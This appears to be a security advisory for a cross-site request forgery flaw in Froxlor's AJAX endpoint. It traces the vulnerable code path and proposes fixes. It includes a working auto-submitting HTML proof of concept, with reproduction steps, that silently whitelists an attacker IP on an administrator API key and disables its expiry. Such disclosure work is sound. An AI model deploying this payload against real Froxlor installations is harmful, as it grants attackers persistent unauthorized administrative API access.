CVE-2026-55593

Summary

The Froxlor AJAX endpoint (lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowed_from whitelist or extending the valid_until expiration).

Affected Component

• File: lib/ajax.php — the AJAX endpoint entry point (bypasses lib/init.php)
• File: lib/Froxlor/Ajax/Ajax.php:66-92 — Ajax::handle() (no CSRF check before routing)
• File: lib/Froxlor/Ajax/Ajax.php:257-315 — Ajax::editApiKey() (writes to database without CSRF check)
• Version: Froxlor 2.3.7 (likely all prior 2.x versions)

Complete Call Chain: Entry Point → Vulnerable Code

Step 1: Entry Point — lib/ajax.php (standalone bootstrap, bypasses lib/init.php)

// lib/ajax.php:26-47
namespace Froxlor;

use Froxlor\Ajax\Ajax;

require_once dirname(__DIR__) . '/vendor/autoload.php';
require_once dirname(__DIR__) . '/lib/userdata.inc.php';
require_once dirname(__DIR__) . '/lib/functions.php';
require_once dirname(__DIR__) . '/lib/tables.inc.php';

// CRITICAL: This file does NOT include lib/init.php
// Therefore: NO CSRF token is checked before processing the request
echo (new Ajax)->handle();

Contrast with normal flow: All admin/customer pages (e.g., admin_customers.php, customer_domains.php) do:

const AREA = 'admin';
require __DIR__ . '/lib/init.php';  // <-- This enforces CSRF at lines 363-369

Step 2: Ajax Constructor — Session Created, No CSRF Check

// lib/Froxlor/Ajax/Ajax.php:54-61
public function __construct()
{
    $this->action = Request::any('action');  // <-- User-controlled from GET/POST
    $this->theme = Request::any('theme', 'Froxlor');

    UI::sendHeaders();        // Starts session, sets security headers
    UI::sendSslHeaders();     // HSTS headers
    // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE
}

Step 3: Ajax::handle() — Session Validation Only, Routes to Action

// lib/Froxlor/Ajax/Ajax.php:66-92
public function handle()
{
    $this->userinfo = $this->getValidatedSession();  // Only checks: isset($_SESSION['userinfo'])
    // MISSING: CSRF token validation before routing
    // Comparison: init.php lines 363-369 WOULD check here:
    //   if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
    //       $current_token = Request::post('csrf_token', ...);
    //       if ($current_token != CurrentUser::getField('csrf_token')) { ERROR; }
    //   }

    switch ($this->action) {
        case 'editapikey':
            return $this->editApiKey();   // <-- State-changing operation, no CSRF guard
        case 'updatetablelisting':
            return $this->updateTablelisting();  // <-- Also POST, also no CSRF
        // ... other cases
    }
}

Step 4: getValidatedSession() — Only Checks Session Exists

// lib/Froxlor/Ajax/Ajax.php:97-103
private function getValidatedSession(): array
{
    if (CurrentUser::hasSession() == false) {
        throw new Exception("No valid session");
    }
    return CurrentUser::getData();
    // hasSession() implementation (CurrentUser.php:47-50):
    //   return !empty($_SESSION) && !empty($_SESSION['userinfo']);
    // This ONLY verifies a session exists.
    // It does NOT verify the request origin or CSRF token.
}

Step 5: editApiKey() — Database Mutation Without Origin Validation

// lib/Froxlor/Ajax/Ajax.php:257-315
private function editApiKey()
{
    // All three parameters come from attacker-controlled POST body:
    $keyid = Request::post('id', 0);                    // Source: $_POST['id']
    $allowed_from = Request::post('allowed_from', "");  // Source: $_POST['allowed_from']
    $valid_until = Request::post('valid_until', "");    // Source: $_POST['valid_until']

    // ... IP format validation (not security-relevant for CSRF) ...

    // SINK: Direct database mutation
    $upd_stmt = Database::prepare("
        UPDATE `api_keys` SET
        `valid_until` = :vu, `allowed_from` = :af
        WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid
    ");
    Database::pexecute($upd_stmt, [
        'keyid' => $keyid,
        'af' => $allowed_from,     // Attacker's IP written here
        'vu' => $valid_until_db,   // -1 = never expires
        'aid' => $this->userinfo['adminid'],
        'cid' => $cid
    ]);
    return $this->jsonResponse(['allowed_from' => $allowed_from, 'valid_until' => $valid_until]);
}

Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage

// templates/Froxlor/assets/js/jquery/apikeys.js:9-17
// Even the legitimate frontend does NOT send a csrf_token:
$.ajax({
    url: "lib/ajax.php?action=editapikey",
    type: "POST",
    dataType: "json",
    data: {
        id: akid,
        allowed_from: _this.val(),
        valid_until: $('div[data-entry="' + akid + '"] #valid_until').val()
        // NOTE: No csrf_token field here — the backend doesn't require it
    },
    // ...
});

This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.

CSRF Protection Gap: Side-by-Side Comparison

Vulnerability Verification

Attack Path (Complete)

[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html

    <form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey"
          method="POST">
      <input type="hidden" name="id" value="1">
      <input type="hidden" name="allowed_from" value="ATTACKER_IP">
      <input type="hidden" name="valid_until" value="-1">
    </form>
    <script>document.getElementById('csrf').submit();</script>

        │
        ▼
[Victim] Froxlor administrator browses to https://attacker.com/csrf.html
  - Victim has an active session at https://froxlor.example.com
  - Session cookie: PHPSESSID=<valid>, SameSite=Lax
        │
        ▼
[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey
  - Cookie behavior depends on SameSite policy (see below)
        │
        ▼
[Server: lib/ajax.php]
  → require userdata.inc.php, functions.php, tables.inc.php
  → (new Ajax)->handle()
        │
        ▼
[Server: Ajax::__construct()]  (Ajax.php:54-61)
  → $this->action = 'editapikey'  (from GET query string)
  → UI::sendHeaders() → session_start()
  → NO CSRF CHECK
        │
        ▼
[Server: Ajax::handle()]  (Ajax.php:66-68)
  → getValidatedSession() → CurrentUser::hasSession() → TRUE
    (session cookie was sent with request)
  → NO CSRF CHECK before routing
        │
        ▼
[Server: Ajax::editApiKey()]  (Ajax.php:257-315)
  → $keyid = 1 (from POST)
  → $allowed_from = 'ATTACKER_IP' (from POST)
  → $valid_until_db = -1 (from POST, parsed)
  → UPDATE api_keys SET allowed_from='ATTACKER_IP', valid_until=-1 WHERE id=1
        │
        ▼
[Impact] API key #1 now allows connections from ATTACKER_IP, never expires

SameSite=Lax Analysis

Froxlor sets session cookie with SameSite=Lax (UI.php:124):

// lib/Froxlor/UI/Panel/UI.php:118-125
session_set_cookie_params([
    'path' => '/',
    'domain' => self::getCookieHost(),
    'secure' => self::requestIsHttps(),    // FALSE on HTTP deployments
    'httponly' => true,
    'samesite' => 'Lax'
]);
session_start();

Why SameSite=Lax is NOT a complete mitigation:

1. HTTP deployments: When requestIsHttps() returns false (plain HTTP), the secure flag is false. Many browsers (particularly older Safari and Firefox) require Secure for strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario.

2. Safari browser: Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.

3. Same-site subdomain attacks: If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.

4. Defense-in-depth failure: CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).

Confirmed Vulnerable Actions in Ajax::handle()

All POST-based actions in the switch statement lack CSRF protection:

Impact

• Confidentiality: None — the attacker cannot directly read data through this CSRF vector
• Integrity: Medium — API key properties (allowed_from, valid_until) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage).
• Availability: Low — the attacker could set valid_until to a past timestamp, disabling the API key

Worst-case scenario: An administrator-level API key has its allowed_from expanded to include the attacker's IP and its valid_until set to -1 (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.

Proof of Concept

PoC HTML File

<!-- csrf_poc.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC - Froxlor AJAX Endpoint</title>
</head>
<body>
    <h1>Cross-Site Request Forgery Proof of Concept</h1>
    <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p>
    <p>If you see this page, the form has auto-submitted.</p>

    <!-- This form auto-submits to modify API key properties -->
    <form id="csrf-form"
          action="http://froxlor.example.com/lib/ajax.php?action=editapikey"
          method="POST">
        <input type="hidden" name="id" value="1">
        <input type="hidden" name="allowed_from" value="10.99.99.99">
        <input type="hidden" name="valid_until" value="">
        <!-- empty valid_until = -1 (never expires) -->
    </form>

    <script>
        // Auto-submit on page load
        document.addEventListener('DOMContentLoaded', function() {
            document.getElementById('csrf-form').submit();
        });
    </script>
</body>
</html>

Reproduction Steps

1. Setup:

   • Deploy Froxlor 2.3.7 on a test server (e.g., http://192.168.1.100/)
   • Create an administrator account and log in
   • Create at least one API key (Settings → API Keys)

2. Prepare PoC:

   • Host the PoC HTML file on a different origin (e.g., http://attacker.local/csrf_poc.html)
   • Note the Froxlor server is on http:// (not HTTPS, common for internal deployments)

3. Execute:

   • Ensure the Froxlor administrator has an active session
   • Open the PoC HTML file in the same browser (different tab)
   • The form auto-submits

4. Verify:

   • Check the API key in the Froxlor admin panel
   • The allowed_from field now contains 10.99.99.99
   • The valid_until field shows no expiration
   • Or verify directly: SELECT id, allowed_from, valid_until FROM api_keys WHERE id=1;

Expected Result

Before attack:

id | allowed_from | valid_until
1  |              | 1735689600

After attack:

id | allowed_from   | valid_until
1  | 10.99.99.99    | -1

Root Cause

The lib/ajax.php endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include lib/init.php, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.

Architecturally, there are two security enforcement paths:

1. Normal pages: admin_*.php → require lib/init.php → CSRF check ✅
2. AJAX endpoint: lib/ajax.php → new Ajax()->handle() → CSRF check ❌

The Ajax class performs its own session validation (getValidatedSession()) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (apikeys.js) also does not send a CSRF token because the backend does not require one.

Fix Recommendation

Option A (Recommended): Route AJAX Through init.php

Refactor lib/ajax.php to use the standard bootstrap, ensuring all security controls apply uniformly:

// lib/ajax.php — Refactored
const AREA = 'ajax';
require __DIR__ . '/init.php';

use Froxlor\Ajax\Ajax;

try {
    echo (new Ajax)->handle();
} catch (Exception $e) {
    header("Content-Type: application/json");
    echo \Froxlor\Api\Response::jsonErrorResponse($e->getMessage(), 500);
}

Pros: All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication. Cons: Requires frontend changes to include CSRF token in AJAX requests.

Option B (Minimal): Add CSRF Check to Ajax Class

Add CSRF token validation directly in the Ajax class:

// lib/Froxlor/Ajax/Ajax.php

public function handle()
{
    $this->userinfo = $this->getValidatedSession();

+   // CSRF Protection — mirror init.php:363-369
+   if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
+       $token_from_request = Request::post('csrf_token',
+           $_SERVER['HTTP_X_CSRF_TOKEN'] ?? null);
+       $stored_token = $this->userinfo['csrf_token'] ?? '';
+       if (empty($token_from_request) || !hash_equals($stored_token, $token_from_request)) {
+           return $this->errorResponse('CSRF validation failed', 403);
+       }
+   }

    switch ($this->action) {
        // ... existing cases unchanged
    }
}

Frontend changes required (for both options):

// templates/Froxlor/assets/js/jquery/apikeys.js
$.ajax({
    url: "lib/ajax.php?action=editapikey",
    type: "POST",
    dataType: "json",
    data: {
        id: akid,
        allowed_from: _this.val(),
        valid_until: $('div[data-entry="' + akid + '"] #valid_until').val(),
+       csrf_token: $('meta[name="csrf-token"]').attr('content')
    },
    // ...
});

CSRF Token Available in Twig Templates

The CSRF token is already available as a Twig global variable ({{ csrf_token }}) set in init.php:361. Templates can expose it via:

<meta name="csrf-token" content="{{ csrf_token }}">